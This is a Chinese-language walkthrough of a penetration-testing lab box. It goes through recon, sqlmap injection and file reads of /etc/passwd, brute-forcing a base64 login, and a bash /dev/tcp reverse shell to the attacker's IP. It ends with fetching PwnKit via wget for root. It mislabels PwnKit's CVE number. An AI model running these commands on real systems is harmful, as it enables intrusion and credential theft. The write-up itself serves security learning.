大家可能看到文字描述的比较简洁,甚至可能有跳步。但是我想说的是,wp不是安装教程,需要手把手交,怕你走错,配置不好。学习网安还是要有自己的思考,我只是提供思路。像这个点怎么想到测sql,测什么类型的sql,提权为什么要看这些文件,每个环节用什么工具,都需要你自己想,或者问AI,这才是一个正确的学习过程。
下面开启主线
首先设置m87靶机为NAT连接,使其与kali在同一网段
信息搜集
使用arp-scan 命令扫描c段,获取靶机ip地址
arp-scan 192.168.153.0/24使用nmap扫描开放的端口
nmap -p- -T4 192.168.153.157发现有22,80,9090端口,使用dirsearch扫描一下目录,发现有三个admin相关目录
dirsearch -u 192.168.153.157再使用无影(Tscan)扫描一下,得到指纹信息,这里图片有点糊,是因为我的图片好像没保存成功,借用了师傅之前WP的图片,哎呀你看,思路,工具都一样,说明学到了
访问进来发现是一个登录界面,同时可以使用插件获得上述信息
80端口就是apache 2.4.38
9090端口是apache-strusts2
根据上面扫描出的目录,尝试拼接,看有无越权
发现都有鉴权,因为尝试登录的输入参数,可能会拼接到数据库查询,所以简单测试一下有无sql,发现没反应,连报错都没有,如果不是URL已经变了,我以为被钓鱼了
然后测试一下id=1参数,执行成功了,存在sql,使用sqlmap工具跑
python sqlmap.py -u "http://192.168.153.157/admin?id=1" --batch --dbs爆数据库
db数据库下有个user表
python sqlmap.py -u "http://192.168.153.157/admin?id=1" --batch -D db --tables导出user表中所有数据
python sqlmap.py -u "http://192.168.153.157/admin?id=1" --batch -D db -T users --dump好消息获取到了,坏消息登陆不上,那我要你有何用
python sqlmap.py -u "http://192.168.10.26/admin/?id=1" -D "db" --file-read /etc/passwd --batch但是数据库存在file权限,可以读取文件,尝试读取/etc/passwd
发现root 和 charlotte不在刚刚所获取的user表数据中
那就针对admin登录页和9090端口登录页分别做爆破,仅用我们已经得到的信息(因为80页面的是邮箱登录,我们先测试用户名密码)
根据长度判断,admin页面的登录全军覆没
测试9090页面,发现没有传参字段,看到一个authorization字段的内容,是base64编码的所传参数,那么后面就要将得到的用户名密码编码后再爆破
我们让AI写一个自动化脚本,将用户名密码按图示组合连接编码,再添加payload爆破,最终测试得到是 charlotte/15The4Dm1n4L1f3
登录进网站,可操作空间更大了,可以测试本身网站开发时留下的漏洞(sql,xss,csrf,文件上传,rce等),同时上文得到中间件版本号,可以搜集有无历史漏洞
进来之后发现有终端,尝试反弹shell
bash -c "/bin/bash -i >& /dev/tcp/192.168.153.128/7777 0>&1"反弹成功
这时候查看版本,看有无内核漏洞
uname -a查找到4.19版本有多个提权漏洞,我们先尝试CVE-2021-4043
将kali的expolit PwnKit传到靶机
kali开启服务
python3 -m http.server 8000靶机下载到/tmp目录
wget -O /tmp/PwnKit http://192.168.153.128:8000/PwnKitcd /tmp chmod +x PwnKit ./PwnKit成功提权
看到结尾神秘数字,好像似曾相识,想起来在charlotte的根目录下有个local.txt里面也是数字,应该是身份象征,还以为一开始就偷鸡到了
这里补充一下,前面尝试SUID提权,但是没找到find相关文件,就跳过找内核漏洞了
find / -perm -u=s -type f 2>/dev/null感谢你的观看,如有不足,欢迎评论区指出,大家一起交流进步